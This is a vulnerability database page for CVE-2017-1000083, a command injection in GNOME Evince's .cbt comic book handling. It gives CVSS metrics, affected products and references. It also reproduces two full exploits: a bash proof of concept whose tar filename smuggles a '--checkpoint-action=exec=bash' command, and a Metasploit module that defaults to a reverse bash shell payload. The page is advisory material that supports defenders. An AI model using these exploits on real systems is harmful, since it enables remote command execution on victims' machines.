CVE-2017-1000083 : Detail

CVE-2017-1000083

7.8
/
High
25.31%V3
Local
2017-09-05
04h00 +00:00
2019-02-12
09h57 +00:00
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CVE Descriptions

backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to execute arbitrary commands via a .cbt file that is a TAR archive containing a filename beginning with a "--" command-line option substring, as demonstrated by a --checkpoint-action=exec=bash at the beginning of the filename.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45824

Publication date : 2018-11-12 23h00 +00:00
Author : Matlink
EDB Verified : Yes

# Exploit Title: evince command line injection # Date: 2017-09-05 # Exploit Author: Matlink # Vendor Homepage: https://wiki.gnome.org/Apps/Evince # Software Link: https://wiki.gnome.org/Apps/Evince # Version: 3.24.0 # Tested on: Debian sid # CVE : CVE-2017-1000083 Can be tested on docker with https://github.com/matlink/evince-cve-2017-1000083 #! /bin/bash # define the payload export PAYLOAD="firefox google.com" # Create the malicious .cbt file dd if=/dev/zero of=" --checkpoint-action=exec=bash -c '$PAYLOAD;'.jpg" bs=1 count=512000 tar cvf poc.cbt *.jpg # Run the malicious file evince poc.cbt
Exploit Database EDB-ID : 46341

Publication date : 2019-02-10 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Evince CBT File Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in Evince before version 3.24.1 when opening comic book `.cbt` files. Some file manager software, such as Nautilus and Atril, may allow automatic exploitation without user interaction due to thumbnailer preview functionality. Note that limited space is available for the payload (<256 bytes). Reverse Bash and Reverse Netcat payloads should be sufficiently small. This module has been tested successfully on evince versions: 3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6; 3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04. }, 'License' => MSF_LICENSE, 'Author' => [ 'Felix Wilhelm', # Discovery 'Sebastian Krahmer', # PoC 'Matlink', # Exploit 'bcoles' # Metasploit ], 'References' => [ ['BID', '99597'], ['CVE', '2017-1000083'], ['EDB', '45824'], ['URL', 'https://seclists.org/oss-sec/2017/q3/128'], ['URL', 'https://bugzilla.gnome.org/show_bug.cgi?id=784630'], ['URL', 'https://bugzilla.suse.com/show_bug.cgi?id=1046856'], ['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1735418'], ['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1800662'], ['URL', 'https://access.redhat.com/security/cve/cve-2017-1000083'], ['URL', 'https://security-tracker.debian.org/tracker/CVE-2017-1000083'] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 215, 'BadChars' => "\x00\x0a\x0d\x22", 'DisableNops' => true }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash', 'DisablePayloadHandler' => true }, 'Targets' => [[ 'Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => '2017-07-13', 'DefaultTarget' => 0)) register_options([ OptString.new('FILENAME', [true, 'The cbt document file name', 'msf.cbt']) ]) end def exploit ext = %w[png jpg gif] path = " --checkpoint-action=exec=bash -c \"#{payload.encoded};\".#{ext.sample}" # Tar archive max path length is 256. if path.length > 256 fail_with Failure::PayloadFailed, "Payload is too large (#{path.length}): Max path length is 256 characters" end # Tar archive max file name length is 100. path.split('/').each do |fname| if fname.length > 100 fail_with Failure::PayloadFailed, "File name too long (#{fname.length}): Max filename length is 100 characters" end end # Create malicious tar archive tarfile = StringIO.new Rex::Tar::Writer.new tarfile do |tar| tar.add_file path, 0644 do |io| io.write '' end # Pad file to 1+ MB to trigger tar checkpoint action tar.add_file rand_text_alphanumeric(10..20), 0644 do |io| io.write rand_text(1_000_000..1_100_000) end end tarfile.rewind cbt = tarfile.read print_status "Writing file: #{datastore['FILENAME']} (#{cbt.length} bytes) ..." file_create cbt end end

Products Mentioned

Configuraton 0

Gnome>>Evince >> Version To (including) 3.24.0

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 7.4

Redhat>>Enterprise_linux_server >> Version 7.5

Redhat>>Enterprise_linux_server >> Version 7.6

Redhat>>Enterprise_linux_server_aus >> Version 7.4

Redhat>>Enterprise_linux_server_aus >> Version 7.6

Redhat>>Enterprise_linux_server_eus >> Version 7.4

Redhat>>Enterprise_linux_server_eus >> Version 7.5

Redhat>>Enterprise_linux_server_eus >> Version 7.6

Redhat>>Enterprise_linux_server_tus >> Version 7.4

Redhat>>Enterprise_linux_server_tus >> Version 7.6

Redhat>>Enterprise_linux_workstation >> Version 7.0

References

https://www.exploit-db.com/exploits/46341/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/99597
Tags : vdb-entry, x_refsource_BID
https://access.redhat.com/errata/RHSA-2017:2388
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2017/dsa-3911
Tags : vendor-advisory, x_refsource_DEBIAN
https://www.exploit-db.com/exploits/45824/
Tags : exploit, x_refsource_EXPLOIT-DB